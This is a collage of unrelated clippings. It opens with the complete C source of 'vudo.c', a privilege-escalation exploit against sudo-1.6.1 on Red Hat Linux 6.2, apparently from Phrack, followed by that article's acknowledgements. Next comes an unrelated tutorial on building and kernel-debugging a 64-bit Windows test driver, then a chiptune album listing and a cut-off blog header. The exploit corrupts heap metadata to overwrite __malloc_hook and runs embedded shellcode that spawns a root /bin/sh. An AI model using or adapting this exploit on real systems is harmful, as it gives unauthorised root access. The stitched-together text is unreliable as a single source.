<++> vudo.c !32ad14e5
/*
 * vudo.c versus Red Hat Linux/Intel 6.2 (Zoot) sudo-1.6.1-1
 * Copyright (C) 2001 Michel "MaXX" Kaempf <maxx@synnergy.net>
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or (at
 * your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
 * General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
 * USA
 */

#include <limits.h>
#include <paths.h>
#include <pwd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>

typedef struct malloc_chunk {
    size_t prev_size;
    size_t size;
    struct malloc_chunk * fd;
    struct malloc_chunk * bk;
} * mchunkptr;

#define SIZE_SZ sizeof(size_t)
#define MALLOC_ALIGNMENT ( SIZE_SZ + SIZE_SZ )
#define MALLOC_ALIGN_MASK ( MALLOC_ALIGNMENT - 1 )
#define MINSIZE sizeof(struct malloc_chunk)

/* shellcode */
#define sc \
    /* jmp */ \
    "\xeb\x0appssssffff" \
    /* setuid */ \
    "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" \
    /* setgid */ \
    "\x31\xdb\x89\xd8\xb0\x2e\xcd\x80" \
    /* execve */ \
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
    "\x80\xe8\xdc\xff\xff\xff/bin/sh"

#define MAX_UID_T_LEN 10
#define MAXSYSLOGLEN 960
#define IFCONF_BUF r2s( 8200 )
#define SUDOERS_FP r2s( 176 )
#define VASPRINTF r2s( 6300 )
#define VICTIM_SIZE r2s( 1500 )
#define SUDO "/usr/bin/sudo"
#define USER_CWD "/"
#define MESSAGE 19 /* "command not allowed" or "user NOT in sudoers" */
#define USER_ARGS ( VASPRINTF-VICTIM_SIZE-SIZE_SZ - 1 - (MAXSYSLOGLEN+1) )
#define PREV_SIZE 0x5858614d
#define SIZE r2s( 192 )
#define SPACESPACE 0x08072020
#define POST_PS1 ( r2s(16) + r2s(640) + r2s(400) )
#define BK ( SPACESPACE - POST_PS1 + SIZE_SZ - sizeof(sc) )
#define STACK ( 0xc0000000 - 4 )
#define PRE_SHELL "SHELL="
#define MAXPATHLEN 4095
#define SHELL ( MAXPATHLEN - 1 )
#define PRE_SUDO_PS1 "SUDO_PS1="
#define PRE_TZ "TZ="
#define LIBC "/lib/libc.so.6"
#define TZ_FIRST ( MINSIZE - SIZE_SZ - 1 )
#define TZ_STEP ( MALLOC_ALIGNMENT / sizeof(char) )
#define TZ_LAST ( 0x10000 - SIZE_SZ - 1 )
#define POST_IFCONF_BUF (r2s(1600)+r2s(40)+r2s(16386)+r2s(3100)+r2s(6300))
#define ENVP_FIRST ( ((POST_IFCONF_BUF - SIZE_SZ) / sizeof(char *)) - 1 )
#define ENVP_STEP ( MALLOC_ALIGNMENT / sizeof(char *) )

/* request2size() */
size_t
r2s( size_t request )
{
    size_t size;

    size = request + ( SIZE_SZ + MALLOC_ALIGN_MASK );
    if ( size < (MINSIZE + MALLOC_ALIGN_MASK) ) {
        size = MINSIZE;
    } else {
        size &= ~MALLOC_ALIGN_MASK;
    }
    return( size );
}

/* nul() */
int
nul( size_t size )
{
    char * p = (char *)( &size );

    if ( p[0] == '\0' || p[1] == '\0' || p[2] == '\0' || p[3] == '\0' ) {
        return( -1 );
    }
    return( 0 );
}

/* nul_or_space() */
int
nul_or_space( size_t size )
{
    char * p = (char *)( &size );

    if ( p[0] == '\0' || p[1] == '\0' || p[2] == '\0' || p[3] == '\0' ) {
        return( -1 );
    }
    if ( p[0] == ' ' || p[1] == ' ' || p[2] == ' ' || p[3] == ' ' ) {
        return( -1 );
    }
    return( 0 );
}

typedef struct vudo_s {
    /* command line */
    size_t __malloc_hook;
    size_t tz;
    size_t envp;

    size_t setenv;
    size_t msg;
    size_t buf;
    size_t NewArgv;

    /* execve */
    char ** execve_argv;
    char ** execve_envp;
} vudo_t;

/* vudo_setenv() */
size_t
vudo_setenv( uid_t uid )
{
    struct passwd * pw;
    size_t setenv;
    char idstr[ MAX_UID_T_LEN + 1 ];

    /* pw */
    pw = getpwuid( uid );
    if ( pw == NULL ) {
        return( 0 );
    }

    /* SUDO_COMMAND */
    setenv = r2s( 16 );

    /* SUDO_USER */
    setenv += r2s( strlen("SUDO_USER=") + strlen(pw->pw_name) + 1 );
    setenv += r2s( 16 );

    /* SUDO_UID */
    sprintf( idstr, "%ld", (long)(pw->pw_uid) );
    setenv += r2s( strlen("SUDO_UID=") + strlen(idstr) + 1 );
    setenv += r2s( 16 );

    /* SUDO_GID */
    sprintf( idstr, "%ld", (long)(pw->pw_gid) );
    setenv += r2s( strlen("SUDO_GID=") + strlen(idstr) + 1 );
    setenv += r2s( 16 );

    return( setenv );
}

/* vudo_msg() */
size_t
vudo_msg( vudo_t * p_v )
{
    size_t msg;

    msg = ( MAXSYSLOGLEN + 1 ) - strlen( "shell " ) + 3;
    msg *= sizeof(char *);
    msg += SIZE_SZ - IFCONF_BUF + p_v->setenv + SUDOERS_FP + VASPRINTF;
    msg /= sizeof(char *) + 1;

    return( msg );
}

/* vudo_buf() */
size_t
vudo_buf( vudo_t * p_v )
{
    size_t buf;

    buf = VASPRINTF - VICTIM_SIZE - p_v->msg;

    return( buf );
}

/* vudo_NewArgv() */
size_t
vudo_NewArgv( vudo_t * p_v )
{
    size_t NewArgv;

    NewArgv = IFCONF_BUF-VICTIM_SIZE-p_v->setenv-SUDOERS_FP-p_v->buf;

    return( NewArgv );
}

/* vudo_execve_argv() */
char **
vudo_execve_argv( vudo_t * p_v )
{
    size_t pudding;
    char ** execve_argv;
    char * p;
    char * user_tty;
    size_t size;
    char * user_runas;
    int i;
    char * user_args;

    /* pudding */
    pudding = ( (p_v->NewArgv - SIZE_SZ) / sizeof(char *) ) - 3;

    /* execve_argv */
    execve_argv = malloc( (4 + pudding + 2) * sizeof(char *) );
    if ( execve_argv == NULL ) {
        return( NULL );
    }

    /* execve_argv[ 0 ] */
    execve_argv[ 0 ] = SUDO;

    /* execve_argv[ 1 ] */
    execve_argv[ 1 ] = "-s";

    /* execve_argv[ 2 ] */
    execve_argv[ 2 ] = "-u";

    /* user_tty */
    if ( (p = ttyname(STDIN_FILENO)) || (p = ttyname(STDOUT_FILENO)) ) {
        if ( strncmp(p, _PATH_DEV, sizeof(_PATH_DEV) - 1) == 0 ) {
            p += sizeof(_PATH_DEV) - 1;
        }
        user_tty = p;
    } else {
        user_tty = "unknown";
    }

    /* user_cwd */
    if ( chdir(USER_CWD) == -1 ) {
        return( NULL );
    }

    /* user_runas */
    size = p_v->msg;
    size -= MESSAGE;
    size -= strlen( " ; TTY= ; PWD= ; USER= ; COMMAND=" );
    size -= strlen( user_tty );
    size -= strlen( USER_CWD );
    user_runas = malloc( size + 1 );
    if ( user_runas == NULL ) {
        return( NULL );
    }
    memset( user_runas, 'M', size );
    user_runas[ size ] = '\0';

    /* execve_argv[ 3 ] */
    execve_argv[ 3 ] = user_runas;

    /* execve_argv[ 4 ] .. execve_argv[ (4 + pudding) - 1 ] */
    for ( i = 4; i < 4 + pudding; i++ ) {
        execve_argv[ i ] = "";
    }

    /* user_args */
    user_args = malloc( USER_ARGS + 1 );
    if ( user_args == NULL ) {
        return( NULL );
    }
    memset( user_args, 'S', USER_ARGS );
    user_args[ USER_ARGS ] = '\0';

    /* execve_argv[ 4 + pudding ] */
    execve_argv[ 4 + pudding ] = user_args;

    /* execve_argv[ (4 + pudding) + 1 ] */
    execve_argv[ (4 + pudding) + 1 ] = NULL;

    return( execve_argv );
}

/* vudo_execve_envp() */
char **
vudo_execve_envp( vudo_t * p_v )
{
    size_t fd;
    char * chunk;
    size_t post_pudding;
    int i;
    size_t pudding;
    size_t size;
    char * post_chunk;
    size_t p_chunk;
    char * shell;
    char * p;
    char * sudo_ps1;
    char * tz;
    char ** execve_envp;
    size_t stack;

    /* fd */
    fd = p_v->__malloc_hook - ( SIZE_SZ + SIZE_SZ + sizeof(mchunkptr) );

    /* chunk */
    chunk = malloc( MINSIZE + 1 );
    if ( chunk == NULL ) {
        return( NULL );
    }
    ( (mchunkptr)chunk )->prev_size = PREV_SIZE;
    ( (mchunkptr)chunk )->size = SIZE;
    ( (mchunkptr)chunk )->fd = (mchunkptr)fd;
    ( (mchunkptr)chunk )->bk = (mchunkptr)BK;
    chunk[ MINSIZE ] = '\0';

    /* post_pudding */
    post_pudding = 0;
    for ( i = 0; i < MINSIZE + 1; i++ ) {
        if ( chunk[i] == '\0' ) {
            post_pudding += 1;
        }
    }

    /* pudding */
    pudding = p_v->envp - ( 3 + post_pudding + 2 );

    /* post_chunk */
    size = ( SIZE - 1 ) - 1;
    while ( nul(STACK - sizeof(SUDO) - (size + 1) - (MINSIZE + 1)) ) {
        size += 1;
    }
    post_chunk = malloc( size + 1 );
    if ( post_chunk == NULL ) {
        return( NULL );
    }
    memset( post_chunk, 'Y', size );
    post_chunk[ size ] = '\0';

    /* p_chunk */
    p_chunk = STACK - sizeof(SUDO) - (strlen(post_chunk)+1) - (MINSIZE+1);

    /* shell */
    shell = malloc( strlen(PRE_SHELL) + SHELL + 1 );
    if ( shell == NULL ) {
        return( NULL );
    }
    p = shell;
    memcpy( p, PRE_SHELL, strlen(PRE_SHELL) );
    p += strlen( PRE_SHELL );
    while ( p < shell + strlen(PRE_SHELL) + (SHELL & ~(SIZE_SZ-1)) ) {
        *((size_t *)p) = p_chunk;
        p += SIZE_SZ;
    }
    while ( p < shell + strlen(PRE_SHELL) + SHELL ) {
        *(p++) = '2';
    }
    *p = '\0';

    /* sudo_ps1 */
    size = p_v->buf;
    size -= POST_PS1 + VICTIM_SIZE;
    size -= strlen( "PS1=" ) + 1 + SIZE_SZ;
    sudo_ps1 = malloc( strlen(PRE_SUDO_PS1) + size + 1 );
    if ( sudo_ps1 == NULL ) {
        return( NULL );
    }
    memcpy( sudo_ps1, PRE_SUDO_PS1, strlen(PRE_SUDO_PS1) );
    memset( sudo_ps1 + strlen(PRE_SUDO_PS1), '0', size + 1 - sizeof(sc) );
    strcpy( sudo_ps1 + strlen(PRE_SUDO_PS1) + size + 1 - sizeof(sc), sc );

    /* tz */
    tz = malloc( strlen(PRE_TZ) + p_v->tz + 1 );
    if ( tz == NULL ) {
        return( NULL );
    }
    memcpy( tz, PRE_TZ, strlen(PRE_TZ) );
    memset( tz + strlen(PRE_TZ), '0', p_v->tz );
    tz[ strlen(PRE_TZ) + p_v->tz ] = '\0';

    /* execve_envp */
    execve_envp = malloc( p_v->envp * sizeof(char *) );
    if ( execve_envp == NULL ) {
        return( NULL );
    }

    /* execve_envp[ p_v->envp - 1 ] */
    execve_envp[ p_v->envp - 1 ] = NULL;

    /* execve_envp[3+pudding] .. execve_envp[(3+pudding+post_pudding)-1] */
    p = chunk;
    for ( i = 3 + pudding; i < 3 + pudding + post_pudding; i++ ) {
        execve_envp[ i ] = p;
        p += strlen( p ) + 1;
    }

    /* execve_envp[ 3 + pudding + post_pudding ] */
    execve_envp[ 3 + pudding + post_pudding ] = post_chunk;

    /* execve_envp[ 0 ] */
    execve_envp[ 0 ] = shell;

    /* execve_envp[ 1 ] */
    execve_envp[ 1 ] = sudo_ps1;

    /* execve_envp[ 2 ] */
    execve_envp[ 2 ] = tz;

    /* execve_envp[ 3 ] .. execve_envp[ (3 + pudding) - 1 ] */
    i = 3 + pudding;
    stack = p_chunk;
    while ( i-- > 3 ) {
        size = 0;
        while ( nul_or_space(stack - (size + 1)) ) {
            size += 1;
        }
        if ( size == 0 ) {
            execve_envp[ i ] = "";
        } else {
            execve_envp[ i ] = malloc( size + 1 );
            if ( execve_envp[i] == NULL ) {
                return( NULL );
            }
            memset( execve_envp[i], '1', size );
            ( execve_envp[ i ] )[ size ] = '\0';
        }
        stack -= size + 1;
    }

    return( execve_envp );
}

/* usage() */
void
usage( char * fn )
{
    printf(
        "%s versus Red Hat Linux/Intel 6.2 (Zoot) sudo-1.6.1-1\n",
        fn
    );
    printf(
        "Copyright (C) 2001 Michel \"MaXX\" Kaempf <maxx@synnergy.net>\n"
    );
    printf( "\n" );

    printf( "* Usage: %s __malloc_hook tz envp\n", fn );
    printf( "\n" );

    printf( "* Example: %s 0x002501dc 62595 6866\n", fn );
    printf( "\n" );

    printf( "* __malloc_hook:\n" );
    printf( "  $ LD_TRACE_LOADED_OBJECTS=1 %s | grep %s\n", SUDO, LIBC );
    printf( "  $ objdump --syms %s | grep __malloc_hook\n", LIBC );
    printf( "  $ nm %s | grep __malloc_hook\n", LIBC );
    printf( "\n" );

    printf( "* tz:\n" );
    printf( "  - first: %u\n", TZ_FIRST );
    printf( "  - step: %u\n", TZ_STEP );
    printf( "  - last: %u\n", TZ_LAST );
    printf( "\n" );

    printf( "* envp:\n" );
    printf( "  - first: %u\n", ENVP_FIRST );
    printf( "  - step: %u\n", ENVP_STEP );
}

/* main() */
int
main( int argc, char * argv[] )
{
    vudo_t vudo;

    /* argc */
    if ( argc != 4 ) {
        usage( argv[0] );
        return( -1 );
    }

    /* vudo.__malloc_hook */
    vudo.__malloc_hook = strtoul( argv[1], NULL, 0 );
    if ( vudo.__malloc_hook == ULONG_MAX ) {
        return( -1 );
    }

    /* vudo.tz */
    vudo.tz = strtoul( argv[2], NULL, 0 );
    if ( vudo.tz == ULONG_MAX ) {
        return( -1 );
    }

    /* vudo.envp */
    vudo.envp = strtoul( argv[3], NULL, 0 );
    if ( vudo.envp == ULONG_MAX ) {
        return( -1 );
    }

    /* vudo.setenv */
    vudo.setenv = vudo_setenv( getuid() );
    if ( vudo.setenv == 0 ) {
        return( -1 );
    }

    /* vudo.msg */
    vudo.msg = vudo_msg( &vudo );

    /* vudo.buf */
    vudo.buf = vudo_buf( &vudo );

    /* vudo.NewArgv */
    vudo.NewArgv = vudo_NewArgv( &vudo );

    /* vudo.execve_argv */
    vudo.execve_argv = vudo_execve_argv( &vudo );
    if ( vudo.execve_argv == NULL ) {
        return( -1 );
    }

    /* vudo.execve_envp */
    vudo.execve_envp = vudo_execve_envp( &vudo );
    if ( vudo.execve_envp == NULL ) {
        return( -1 );
    }

    /* execve */
    execve( (vudo.execve_argv)[0], vudo.execve_argv, vudo.execve_envp );
    return( -1 );
}
<-->

--[ 5 - Acknowledgements ]----------------------------------------------

Thanks to Todd Miller for the fascinating vulnerability, thanks to
Chris Wilson for the vulnerability discovery, thanks to Doug Lea for
the excellent allocator, and thanks to Solar Designer for the unlink()
technique.

Thanks to Synnergy for the invaluable support, the various operating
systems, and the great patience... thanks for everything. Thanks to VIA
(and especially to BBP and Kaliban) and thanks to the eXperts group (and
particularly to Fred and Nico) for the careful (painful? :) rereading.

Thanks to the antiSecurity movement (and peculiarly to JimJones and
Portal) for the interesting discussions of disclosure issues. Thanks
to MasterSecuritY since my brain worked unconsciously on the Sudo
vulnerability during work time :)

Thanks to Phrack for the professional work, and greets to superluck ;)


--[ 6 - Outroduction ]--------------------------------------------------

I stand up next to a mountain and chop it down with the edge of my hand.
-- Jimi Hendrix (Voodoo Chile (slight return))

The voodoo, who do, what you don't dare do people.
-- The Prodigy (Voodoo People)

I do Voodoo, but not on You
-- efnet.vuurwerk.nl

|=[ EOF ]=---------------------------------------------------------------=|


﻿http://mcdermottcybersecurity.com/articles/64-bit-device-driver-development 
64-bit Device Driver Development | McDermott Cybersecurity
Created:
7/15/2011 2:53:57 PM
Updated:
7/15/2011 2:53:57 PM
Author:

Tags:
windows security programming x64 Driver



x64 Kernel Privilege Escalation →
64-bit Device Driver Development
March 1, 2011
This article is intended to be a “quickstart” guide for building, loading, and debugging a simple device driver for a 64-bit Windows 7 system. Basic familiarity with device driver development and kernel debugging is assumed. For more of an introduction I recommend Toby Opferman’s articles at CodeProject which are still mostly relevant despite being several years old. Also, as a security professional my interest and expertise with device drivers is limited to the use of kernel-mode code to modify operating system behavior, rather than interfacing with actual hardware devices.
Instructions are provided for using WinDbg for remote kernel debugging to a VirtualBox virtual machine. The procedure is similar for using VMware and other virtualization software. Note that running a 64-bit guest operating system in a virtual machine requires a CPU which supports hardware-assisted virtualization (Intel-VT or AMD-V). I ended up having to upgrade the processor in one of my systems after finding out that it lacked Intel-VT support. It also may be necessary to go into the BIOS setup and ensure that the hardware virtualization is enabled.
Differences
There are several differences from earlier versions of Windows affecting device driver developers:
· Driver Signing. 64-bit Windows systems will not allow drivers to be loaded unless they have a valid digital signature, which requires a signing key to be purchased from Microsoft. This is only made available to approved vendors and is not really an option for the hobbyist or researcher. For development and testing there is an option that can be selected from the boot menu to disable driver signing requirements. This cannot be made the default and must be manually selected at every boot. This is a nuisance for driver developers but is generally a good thing as it makes it harder for malware writers to install kernel rootkits.
· Debugging Message Filtering. Beginning with Vista (including 32-bit versions), all debugging messages printed by drivers are not necessarily displayed in the kernel debugger. Rather, the system must be configured to display messages matching certain criteria.
· Kernel Patch Protection (PatchGuard). Modifying certain kernel data structures is no longer allowed, again in an effort to crack down on kernel rootkits. Drivers that rely on certain techniques for hooking system calls may need to use an alternate approach. For details see Microsoft’s Patching Policy for x64-Based Systems.
Sample Code
In addition to the minimal DriverEntry and DriverUnload routines, this sample driver also implements a Device I/O Control (IOCTL) interface for communicating from user to kernel mode.
//testdrv.c

#include <wdm.h>

#define DEVICE_NAME L"\\Device\\Testdrv"
#define DOS_DEVICE_NAME L"\\DosDevices\\Testdrv"

//numeric value = 0x22a001
#define IOCTL_TESTDRV CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_IN_DIRECT, FILE_WRITE_DATA)

//macros for OACR
DRIVER_INITIALIZE DriverEntry;
DRIVER_UNLOAD TestdrvUnload;
__drv_dispatchType(IRP_MJ_CREATE)
__drv_dispatchType(IRP_MJ_CLOSE)
__drv_dispatchType(IRP_MJ_DEVICE_CONTROL)
DRIVER_DISPATCH TestdrvDispatch;

#pragma alloc_text(INIT, DriverEntry)
#pragma alloc_text(PAGE, TestdrvUnload)
#pragma alloc_text(PAGE, TestdrvDispatch)

//log message with filter mask "IHVDRIVER" and severity level "INFO"
void DebugInfo(char *str) {
    DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "testdrv: %s\n", str);
}

NTSTATUS TestdrvDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
	PIO_STACK_LOCATION iostack;
	NTSTATUS status = STATUS_NOT_SUPPORTED;
	PCHAR buf;
    ULONG len;

    PAGED_CODE();

	iostack = IoGetCurrentIrpStackLocation(Irp);

	switch(iostack->MajorFunction) {
	    case IRP_MJ_CREATE:
	    case IRP_MJ_CLOSE:
	        status = STATUS_SUCCESS;
	        break;
	    case IRP_MJ_DEVICE_CONTROL:
		    if (iostack->Parameters.DeviceIoControl.IoControlCode == IOCTL_TESTDRV) {

			    len = iostack->Parameters.DeviceIoControl.InputBufferLength;
			    buf = (PCHAR)Irp->AssociatedIrp.SystemBuffer;

                //verify null-terminated and print string to debugger
                if (buf[len-1] == '\0') {
                    DebugInfo(buf);
                }

			    status = STATUS_SUCCESS;
    		} else {
    		    status = STATUS_INVALID_PARAMETER;
    		}
    		break;
    	default:
    	    status = STATUS_INVALID_DEVICE_REQUEST;
    }

	Irp->IoStatus.Status = status;
	Irp->IoStatus.Information = 0;

	IoCompleteRequest(Irp, IO_NO_INCREMENT);

	return status;
}

VOID TestdrvUnload(PDRIVER_OBJECT DriverObject)
{
	UNICODE_STRING dosdev;

	PAGED_CODE();

    DebugInfo("driver unloading");

	RtlInitUnicodeString(&dosdev, DOS_DEVICE_NAME);
	IoDeleteSymbolicLink(&dosdev);

	IoDeleteDevice(DriverObject->DeviceObject);
}

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject,
					 PUNICODE_STRING RegistryPath)
{
    UNICODE_STRING devname, dosname;
	PDEVICE_OBJECT devobj;
	NTSTATUS status;

    DebugInfo("driver initializing");

	DriverObject->MajorFunction[IRP_MJ_CREATE] = TestdrvDispatch;
	DriverObject->MajorFunction[IRP_MJ_CLOSE] = TestdrvDispatch;
	DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = TestdrvDispatch;
    DriverObject->DriverUnload = TestdrvUnload;

	RtlInitUnicodeString(&devname, DEVICE_NAME);
	RtlInitUnicodeString(&dosname, DOS_DEVICE_NAME);

	status = IoCreateDevice(DriverObject, 0, &devname, FILE_DEVICE_UNKNOWN,
		FILE_DEVICE_SECURE_OPEN, FALSE, &devobj);

	if (!NT_SUCCESS(status)) {
		DebugInfo("error creating device");
		return status;
	}

	status = IoCreateSymbolicLink(&dosname, &devname);

	if (!NT_SUCCESS(status)) {
		DebugInfo("error creating symbolic link");
		return status;
	}

    return STATUS_SUCCESS;
}
Building
There are two additional files required to build a device driver: sources and makefile (the file names do not have extensions). sources should contain the following lines:
TARGETNAME=testdrv
TARGETTYPE=DRIVER
SOURCES=testdrv.c
makefile only needs to contain this one line:
!INCLUDE $(NTMAKEENV)\makefile.def
Build the driver as follows:
· Of course the Windows Driver Kit (WDK) must be installed. The WDK also includes the Debugging Tools for Windows (WinDbg).
· From the Windows Driver Kit start menu group, launch the command-line build environment for the desired target platform and architecture, e.g. “Windows 7 x64 Checked Build Environment”.
· Change to the directory containing  testdrv.c, sources, and makefile, and enter the command build.
· If all goes well the driver file testdrv.sys will be built in a subdirectory named according the selected platform and architecture, e.g. objchk_win7_amd64.
· By default the WDK will start a program called OACR (Auto Code Review) that will display an icon in the taskbar and automatically detect when a driver is being built and analyze the code for common programming errors. There are some declarations in the testdrv.c source code for preventing OACR warning messages. For details see Microsoft Auto Code Review.
Debugging Message Filtering
Note in the sample source code that the DbgPrintEx() function is used with additional parameters, as opposed to the standard DbgPrint(). The additional parameters are the Component ID and Severity Level. Only the component IDs defined in dpfilter.h that start with DPFLTR_IHV_ should be used by driver developers. IHV stands for Independent Hardware Vendor, i.e. any third-party non-Microsoft driver.
This example uses the generic DPFLTR_IHVDRIVER but other more specific IDs are available for video/audio/network/etc. drivers. The severity level can technically be any 32-bit number but standard constants exist for ERROR, WARNING, TRACE, and INFO levels (corresponding to the numeric values 0, 1, 2, and 3, respectively). ERROR should only be used to indicate a truly serious error, but otherwise it is a matter of preference. This example logs everything at INFO level.
For each Component ID, the system maintains a kernel variable named Kd_<Component ID>_Mask which is a 32-bit number representing a bit mask for the severity levels of debugging messages that should be displayed. For example, if bit #3 in this variable is set to 1, then INFO level messages will come through. The full list of these variables can be seen in WinDbg with this command:
kd> x nt!Kd_*_Mask
fffff800`02e03198 nt!Kd_LDR_Mask = <no type information>
fffff800`02e031ec nt!Kd_WDI_Mask = <no type information>
fffff800`02e0304c nt!Kd_SETUP_Mask = <no type information>
fffff800`02e03150 nt!Kd_DMIO_Mask = <no type information>
[...]
The current value of the IHVDRIVER mask can be displayed as follows (it should be zero by default):
kd> dd nt!Kd_IHVDRIVER_Mask L1
fffff800`02e03178  00000000
This value can be modified directly in the debugger and will take effect immediately and persist until the system is rebooted. For example, to set the lowest 4 bits (and therefore enable debugging messages for levels ERROR thru INFO), set the value to hex 0x0000000f:
kd> ed nt!Kd_IHVDRIVER_Mask f
To make this change permanent, create a registry value IHVDRIVER (must be uppercase) in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Debug Print Filter. The value should be a DWORD corresponding to the desired mask, e.g. 0x0000000f. The change will not take effect until the next reboot.
Refer to Reading and Filtering Debugging Messages for more information.
Note that debug messages will not display in the kernel debugger during local kernel debugging no matter what you do. The only options for seeing messages in local kernel debugging are to execute the !dbgprint command periodically or use the DebugView tool from SysInternals.
Test Program
The following user-mode application can be used to invoke the DeviceIoControl (IOCTL) interface and pass data into the driver.
//ioctltest.c

#define UNICODE
#define _UNICODE

#include <windows.h>

#define DEVICE_NAME L"\\\\.\\Testdrv"
#define IOCTL_CODE 0x22a001

const char message[] = "Greetings from user mode";

void debug(char *text) {
	LPTSTR msgbuf;

    //get error message string for last error
	FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
               NULL,  GetLastError(), LANG_USER_DEFAULT,
               (LPTSTR) &msgbuf, 0, NULL);

	printf("%s: %S\n", text, msgbuf);
}

int wmain(int argc, wchar_t* argv[])
{
	HANDLE hDevice;
	char outBuf[16];
	DWORD returned;

	hDevice = CreateFile(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE,
	            FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING,
	            FILE_ATTRIBUTE_NORMAL, NULL);

	if (hDevice == INVALID_HANDLE_VALUE) {
	    debug("error opening device");
	} else {
		if (0 == DeviceIoControl(hDevice, IOCTL_CODE, message, sizeof(message),
		            outBuf, sizeof(outBuf), &returned, NULL)) {
		    debug("ioctl error");
		}

		CloseHandle(hDevice);
	}

	return 0;
}
Build with:
cl ioctltest.c
Virtual Machine Configuration
This section assumes that Windows 7 64-bit has been installed in a VirtualBox virtual machine. The following steps will prepare the virtual system for driver loading and kernel debugging. First, with the virtual machine powered off, configure the virtual serial port to point to a named pipe for the kernel debugger to connect to:

Next, enable kernel debugging in the Boot Configuration Database using the built-in bcdedit command line tool, and also configure the boot menu to always display at boot. (There is also a nice free GUI tool EasyBCD available for modifying these settings). Start a command prompt with administrator privileges and run the following commands:
bcdedit /set {current} debug yes
bcdedit /set {bootmgr} displaybootmenu yes
Run bcdedit with no parameters to confirm the current configuration.
Finally, reboot the virtual machine. When the boot menu is displayed, press F8 and then select “Disable Driver Signature Enforcement” from the menu.
Attaching Debugger
This section assumes that debugging symbols have already been configured in WinDbg on the host system. For more information see Debugging Tools and Symbols on MSDN. Launch WinDbg on the host system, select File->Kernel Debug and specify the following settings:

Press Ctrl-Break (or select Debug->Break from the menu) and wait patiently. Kernel debugging over the virtual serial port is SLOW – it may take several seconds before any feedback is received at all from the Break request, and may take 30 seconds or more for the prompt to display:
*******************************************************************************
*                                                                             *
*   You are seeing this message because you pressed either                    *
*       CTRL+C (if you run kd.exe) or,                                        *
*       CTRL+BREAK (if you run WinDBG),                                       *
*   on your debugger machine's keyboard.                                      *
*                                                                             *
*                   THIS IS NOT A BUG OR A SYSTEM CRASH                       *
*                                                                             *
* If you did not intend to break into the debugger, press the "g" key, then   *
* press the "Enter" key now.  This message might immediately reappear.  If it *
* does, press "g" and "Enter" again.                                          *
*                                                                             *
*******************************************************************************
nt!DbgBreakPointWithStatus:
fffff800`026c87a0 cc              int     3
This confirms that kernel debugging is working. If nothing happens, double-check the virtual serial port settings, debug boot configuration, and WinDbg connection settings.
Configure the debugging message filter mask as previously discussed:
kd> ed nt!Kd_IHVDRIVER_Mask f
Finally, enter g at the prompt to resume execution of the virtual machine.
Testing driver
Copy the testdrv.sys driver to the virtual machine using the drag-and-drop or shared folder support. Also copy over the test program ioctltest.exe.
The driver can be installed using the built-in Windows command-line tool sc.exe. This can also be done using the GUI tool OSRLoader available from OSR Online (free registration required). To use sc.exe, start a command prompt with administrative privileges and run the following commands (replacing c:\testdrv.sys with the path where testdrv.sys is located on the virtual machine):
sc create testdrv binPath= c:\testdrv.sys type= kernel
Note that the spaces after the equals signs are required. A pop-up warning may be received about the driver not having a valid digital signature, which can be ignored. The sc create command only needs to be run once, and from then on the driver can be just be started and stopped as desired. All the sc create command does is create the necessary registry entries under HKLM\System\CurrentControlSet\Services\testdrv. The registry entries can be removed if needed with sc delete testdrv.
To load the driver:
sc start testdrv
If the driver starts successfully, the following message should be seen in the kernel debugger (if the message is not seen, double-check the filter mask settings):
testdrv: driver initializing
Next, run ioctltest.exe and the following output should be seen in the debugger:
testdrv: Greetings from user mode
The driver can be unloaded with sc stop and the following message should be seen:
testdrv: driver unloading
﻿http://feryl.bandcamp.com/album/8-bit-magic-a-module-chiptune-collection 
8-Bit Magic: A Module Chiptune Collection | Feryl
Created:
9/3/2011 11:29:27 AM
Updated:
9/3/2011 11:29:27 AM
Author:

Tags:
awesome


· Digital Album 
Immediate download of 13-track album in your choice of 320k mp3, FLAC, or just about any other format. 
Free Download
· Share / Embed

1.
Aband - Jockson 02:23

download

2.
Fuelship - Syphus 01:24

download

3.
Dreamland - Andyk 01:39

download

4.
Rainy Summerdays - Radix 02:43

download

5.
Beakortolaris - Cerror 02:01

download

6.
Believe in Yourself (Remix) - Stalker 03:52

download

7.
By the Sea - Arlen 01:37

download

8.
Sanxion (Conversion) - Dreamfish 05:31

download

9.
Winter Walker (Rev. 1) - The Music Guy 01:02

download

10.
Time Flies Away - Unstruct 02:28

download

11.
From Summer to Winter - Ghidorah 01:43

download

12.
Lost Behind a Chimney - Zabutom 01:42

download

13.
Yoghurt Factory - Radix 01:53

download
about
Feryl brings you a pristine collection of some of the best module (sample-based) chiptunes of all time, from Radix's 1990s "Rainy Summerdays" masterpiece to Arlen's beautiful 2010 "By the Sea". You will experience module chip music at its very finest with masterful tunes from Syphus, Ghidorah, Stalker, Cerror and other legendary composers. This is 8-bit MOD music as it was meant to be. 

All credit for the music itself goes to the original artists, who are cited in the included Readme. Each individual track is avaliable in the public domain and can be downloaded from <www.modarchive.org> (12 MODS) and <www.syphus.net> (1 MOD).
﻿http://blog.trailofbits.com/2014/06/23/a-preview-of-mcsema/ 
A Preview of McSema – ...And You Will Know Us by the Trail of Bits
Created:
6/24/2014 5:08:25 PM
Updated:
